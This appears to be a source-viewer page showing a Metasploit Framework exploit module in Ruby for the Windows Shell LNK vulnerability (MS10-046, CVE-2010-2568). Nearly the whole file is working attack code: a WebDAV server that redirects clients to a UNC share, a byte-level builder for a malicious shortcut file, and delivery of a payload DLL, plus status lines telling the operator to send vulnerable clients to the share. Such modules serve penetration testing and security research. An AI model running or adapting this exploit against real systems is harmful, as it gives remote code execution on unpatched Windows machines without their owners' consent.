Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / browser / ms10_046_shortcut_icon_dllloader.rb @ master

History | View | Annotate | Download (13 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = ExcellentRanking
16

    
17
        #
18
        # This module acts as an HTTP server
19
        #
20
        include Msf::Exploit::Remote::HttpServer::HTML
21
        include Msf::Exploit::EXE
22

    
23
        def initialize(info = {})
24
                super(update_info(info,
25
                        'Name'                        => 'Microsoft Windows Shell LNK Code Execution',
26
                        'Description'        => %q{
27
                                        This module exploits a vulnerability in the handling of Windows
28
                                Shortcut files (.LNK) that contain an icon resource pointing to a
29
                                malicious DLL. This module creates a WebDAV service that can be used
30
                                to run an arbitrary payload when accessed as a UNC path.
31
                        },
32
                        'Author'                =>
33
                                [
34
                                        'hdm',   # Module itself
35
                                        'jduck', # WebDAV implementation, UNCHOST var
36
                                        'B_H'    # Clean LNK template
37
                                ],
38
                        'License'                => MSF_LICENSE,
39
                        'Version'                => '$Revision$',
40
                        'References'        =>
41
                                [
42
                                        ['CVE', '2010-2568'],
43
                                        ['OSVDB', '66387'],
44
                                        ['MSB', 'MS10-046'],
45
                                        ['URL', 'http://www.microsoft.com/technet/security/advisory/2286198.mspx']
46
                                ],
47
                        'DefaultOptions' =>
48
                                {
49
                                        'EXITFUNC' => 'process',
50
                                },
51
                        'Payload'                =>
52
                                {
53
                                        'Space'        => 2048,
54
                                },
55
                        'Platform'                => 'win',
56
                        'Targets'                =>
57
                                [
58
                                        [ 'Automatic',        { } ]
59
                                ],
60
                        'DisclosureDate' => 'Jul 16 2010',
61
                        'DefaultTarget'  => 0))
62

    
63
                register_options(
64
                        [
65
                                OptPort.new(        'SRVPORT',                 [ true,  "The daemon port to listen on (do not change)", 80 ]),
66
                                OptString.new(        'URIPATH',                 [ true,  "The URI to use (do not change).", "/" ]),
67
                                OptString.new( 'UNCHOST',      [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ])
68
                        ], self.class)
69

    
70
                deregister_options('SSL', 'SSLVersion') # Just for now
71
        end
72

    
73
        def on_request_uri(cli, request)
74

    
75
                case request.method
76
                when 'OPTIONS'
77
                        process_options(cli, request)
78
                when 'PROPFIND'
79
                        process_propfind(cli, request)
80
                when 'GET'
81
                        process_get(cli, request)
82
                else
83
                        print_error("Unexpected request method encountered: #{request.method}")
84
                        resp = create_response(404, "Not Found")
85
                        resp.body = ""
86
                        resp['Content-Type'] = 'text/html'
87
                        cli.send_response(resp)
88
                end
89

    
90
        end
91

    
92
        def process_get(cli, request)
93

    
94
                myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
95
                webdav = "\\\\#{myhost}\\"
96

    
97
                if (request.uri =~ /\.dll$/i)
98
                        print_status "Sending DLL payload"
99
                        return if ((p = regenerate_payload(cli)) == nil)
100
                        data = generate_payload_dll({ :code => p.encoded })
101
                        send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
102
                        return
103
                end
104

    
105
                if (request.uri =~ /\.lnk$/i)
106
                        print_status "Sending LNK file"
107

    
108
                        data = generate_link("#{@exploit_unc}#{@exploit_dll}")
109

    
110
                        send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
111
                        return
112
                end
113

    
114
                print_status "Sending UNC redirect"
115
                resp = create_response(200, "OK")
116

    
117
                resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}"></head><body></body></html>|
118

    
119
                resp['Content-Type'] = 'text/html'
120
                cli.send_response(resp)
121
        end
122

    
123
        #
124
        # OPTIONS requests sent by the WebDav Mini-Redirector
125
        #
126
        def process_options(cli, request)
127
                print_status("Responding to WebDAV OPTIONS request")
128
                headers = {
129
                        'MS-Author-Via' => 'DAV',
130
#                        'DASL'          => '<DAV:sql>',
131
#                        'DAV'           => '1, 2',
132
                        'Allow'         => 'OPTIONS, GET, PROPFIND',
133
                        'Public'        => 'OPTIONS, GET, PROPFIND'
134
                }
135
                resp = create_response(207, "Multi-Status")
136
                resp.body = ""
137
                resp['Content-Type'] = 'text/xml'
138
                cli.send_response(resp)
139
        end
140

    
141
        #
142
        # PROPFIND requests sent by the WebDav Mini-Redirector
143
        #
144
        def process_propfind(cli, request)
145
                path = request.uri
146
                print_status("Received WebDAV PROPFIND request for #{path}")
147
                body = ''
148

    
149
                my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
150
                my_uri    = "http://#{my_host}/"
151

    
152
                if path =~ /\.dll$/i
153
                        # Response for the DLL
154
                        print_status("Sending DLL multistatus for #{path} ...")
155
                        body = %Q|<?xml version="1.0" encoding="utf-8"?>
156
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
157
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
158
<D:href>#{path}#{@exploit_dll}</D:href>
159
<D:propstat>
160
<D:prop>
161
<lp1:resourcetype/>
162
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
163
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
164
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
165
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
166
<lp2:executable>T</lp2:executable>
167
<D:supportedlock>
168
<D:lockentry>
169
<D:lockscope><D:exclusive/></D:lockscope>
170
<D:locktype><D:write/></D:locktype>
171
</D:lockentry>
172
<D:lockentry>
173
<D:lockscope><D:shared/></D:lockscope>
174
<D:locktype><D:write/></D:locktype>
175
</D:lockentry>
176
</D:supportedlock>
177
<D:lockdiscovery/>
178
<D:getcontenttype>application/octet-stream</D:getcontenttype>
179
</D:prop>
180
<D:status>HTTP/1.1 200 OK</D:status>
181
</D:propstat>
182
</D:response>
183
</D:multistatus>
184
|
185

    
186
                        resp = create_response(207, "Multi-Status")
187
                        resp.body = body
188
                        resp['Content-Type'] = 'text/xml'
189
                        cli.send_response(resp)
190
                        return
191
                end
192

    
193
                if path =~ /\.lnk$/i
194
                        # Response for the DLL
195
                        print_status("Sending DLL multistatus for #{path} ...")
196
                        body = %Q|<?xml version="1.0" encoding="utf-8"?>
197
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
198
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
199
<D:href>#{path}#{@exploit_lnk}</D:href>
200
<D:propstat>
201
<D:prop>
202
<lp1:resourcetype/>
203
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
204
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
205
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
206
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
207
<lp2:executable>T</lp2:executable>
208
<D:supportedlock>
209
<D:lockentry>
210
<D:lockscope><D:exclusive/></D:lockscope>
211
<D:locktype><D:write/></D:locktype>
212
</D:lockentry>
213
<D:lockentry>
214
<D:lockscope><D:shared/></D:lockscope>
215
<D:locktype><D:write/></D:locktype>
216
</D:lockentry>
217
</D:supportedlock>
218
<D:lockdiscovery/>
219
<D:getcontenttype>shortcut</D:getcontenttype>
220
</D:prop>
221
<D:status>HTTP/1.1 200 OK</D:status>
222
</D:propstat>
223
</D:response>
224
</D:multistatus>
225
|
226

    
227
                        resp = create_response(207, "Multi-Status")
228
                        resp.body = body
229
                        resp['Content-Type'] = 'text/xml'
230
                        cli.send_response(resp)
231
                        return
232
                end
233

    
234
                if path !~ /\/$/
235

    
236
                        if path.index(".")
237
                                print_status("Sending 404 for #{path} ...")
238
                                resp = create_response(404, "Not Found")
239
                                resp['Content-Type'] = 'text/html'
240
                                cli.send_response(resp)
241
                                return
242
                        else
243
                                print_status("Sending 301 for #{path} ...")
244
                                resp = create_response(301, "Moved")
245
                                resp["Location"] = path + "/"
246
                                resp['Content-Type'] = 'text/html'
247
                                cli.send_response(resp)
248
                                return
249
                        end
250
                end
251

    
252
                print_status("Sending directory multistatus for #{path} ...")
253
                body = %Q|<?xml version="1.0" encoding="utf-8"?>
254
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
255
        <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
256
                <D:href>#{path}</D:href>
257
                <D:propstat>
258
                        <D:prop>
259
                                <lp1:resourcetype><D:collection/></lp1:resourcetype>
260
                                <lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
261
                                <lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
262
                                <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
263
                                <D:supportedlock>
264
                                        <D:lockentry>
265
                                                <D:lockscope><D:exclusive/></D:lockscope>
266
                                                <D:locktype><D:write/></D:locktype>
267
                                        </D:lockentry>
268
                                        <D:lockentry>
269
                                                <D:lockscope><D:shared/></D:lockscope>
270
                                                <D:locktype><D:write/></D:locktype>
271
                                        </D:lockentry>
272
                                </D:supportedlock>
273
                                <D:lockdiscovery/>
274
                                <D:getcontenttype>httpd/unix-directory</D:getcontenttype>
275
                        </D:prop>
276
                <D:status>HTTP/1.1 200 OK</D:status>
277
        </D:propstat>
278
</D:response>
279
|
280

    
281

    
282
                subdirectory = %Q|
283
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
284
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
285
<D:propstat>
286
<D:prop>
287
<lp1:resourcetype><D:collection/></lp1:resourcetype>
288
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
289
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
290
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
291
<D:supportedlock>
292
<D:lockentry>
293
<D:lockscope><D:exclusive/></D:lockscope>
294
<D:locktype><D:write/></D:locktype>
295
</D:lockentry>
296
<D:lockentry>
297
<D:lockscope><D:shared/></D:lockscope>
298
<D:locktype><D:write/></D:locktype>
299
</D:lockentry>
300
</D:supportedlock>
301
<D:lockdiscovery/>
302
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
303
</D:prop>
304
<D:status>HTTP/1.1 200 OK</D:status>
305
</D:propstat>
306
</D:response>
307
|
308

    
309
                files = %Q|
310
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
311
<D:href>#{path}#{@exploit_dll}</D:href>
312
<D:propstat>
313
<D:prop>
314
<lp1:resourcetype/>
315
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
316
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
317
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
318
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
319
<lp2:executable>T</lp2:executable>
320
<D:supportedlock>
321
<D:lockentry>
322
<D:lockscope><D:exclusive/></D:lockscope>
323
<D:locktype><D:write/></D:locktype>
324
</D:lockentry>
325
<D:lockentry>
326
<D:lockscope><D:shared/></D:lockscope>
327
<D:locktype><D:write/></D:locktype>
328
</D:lockentry>
329
</D:supportedlock>
330
<D:lockdiscovery/>
331
<D:getcontenttype>application/octet-stream</D:getcontenttype>
332
</D:prop>
333
<D:status>HTTP/1.1 200 OK</D:status>
334
</D:propstat>
335
</D:response>
336

    
337
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
338
<D:href>#{path}#{@exploit_lnk}</D:href>
339
<D:propstat>
340
<D:prop>
341
<lp1:resourcetype/>
342
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
343
<lp1:getcontentlength>#{rand(0x100)+128}</lp1:getcontentlength>
344
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
345
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
346
<lp2:executable>T</lp2:executable>
347
<D:supportedlock>
348
<D:lockentry>
349
<D:lockscope><D:exclusive/></D:lockscope>
350
<D:locktype><D:write/></D:locktype>
351
</D:lockentry>
352
<D:lockentry>
353
<D:lockscope><D:shared/></D:lockscope>
354
<D:locktype><D:write/></D:locktype>
355
</D:lockentry>
356
</D:supportedlock>
357
<D:lockdiscovery/>
358
<D:getcontenttype>shortcut</D:getcontenttype>
359
</D:prop>
360
<D:status>HTTP/1.1 200 OK</D:status>
361
</D:propstat>
362
</D:response>
363
|
364
                if request["Depth"].to_i > 0
365
                        if path.scan("/").length < 2
366
                                body << subdirectory
367
                        else
368
                                body << files
369
                        end
370
                end
371

    
372
                body << "</D:multistatus>"
373

    
374
                body.gsub!(/\t/, '')
375

    
376
                # send the response
377
                resp = create_response(207, "Multi-Status")
378
                resp.body = body
379
                resp['Content-Type'] = 'text/xml; charset="utf8"'
380
                cli.send_response(resp)
381
        end
382

    
383
        def generate_link(unc)
384
                uni_unc = unc.unpack("C*").pack("v*")
385
                path = ''
386
                path << [
387
                        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
388
                        0x00, 0x00, 0x00, 0x00, 0x00, 0x00
389
                ].pack("C*")
390
                path << uni_unc
391

    
392
                # LinkHeader
393
                ret = [
394
                        0x4c, 0x00, 0x00, 0x00, 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00,
395
                        0x00, 0x00, 0x00, 0x46, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
396
                        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
397
                        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
398
                        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
399
                ].pack('C*')
400

    
401
                idlist_data = ''
402
                idlist_data << [0x12 + 2].pack('v')
403
                idlist_data << [
404
                        0x1f, 0x00, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
405
                        0x30, 0x9d
406
                ].pack('C*')
407
                idlist_data << [0x12 + 2].pack('v')
408
                idlist_data << [
409
                        0x2e, 0x1e, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
410
                        0x30, 0x9d
411
                ].pack('C*')
412
                idlist_data << [path.length + 2].pack('v')
413
                idlist_data << path
414
                idlist_data << [0x00].pack('v') # TERMINAL WOO
415

    
416
                # LinkTargetIDList
417
                ret << [idlist_data.length].pack('v') # IDListSize
418
                ret << idlist_data
419

    
420
                # ExtraData blocks (none)
421
                ret << [rand(4)].pack('V')
422

    
423
                # Patch in the LinkFlags
424
                ret[0x14, 4] = ["10000001000000000000000000000000".to_i(2)].pack('N')
425
                ret
426
        end
427

    
428
        def exploit
429

    
430
                unc = "\\\\"
431
                if (datastore['UNCHOST'])
432
                        unc << datastore['UNCHOST'].dup
433
                else
434
                        unc << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
435
                end
436
                unc << "\\"
437
                unc << rand_text_alpha(rand(8)+4)
438
                unc << "\\"
439

    
440
                @exploit_unc  = unc
441
                @exploit_lnk  = rand_text_alpha(rand(8)+4) + ".lnk"
442
                @exploit_dll  = rand_text_alpha(rand(8)+4) + ".dll"
443

    
444
                if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
445
                        raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
446
                end
447

    
448
                print_status("Send vulnerable clients to #{@exploit_unc}.")
449
                print_status("Or, get clients to save and render the icon of http://<your host>/<anything>.lnk")
450

    
451
                super
452
        end
453
end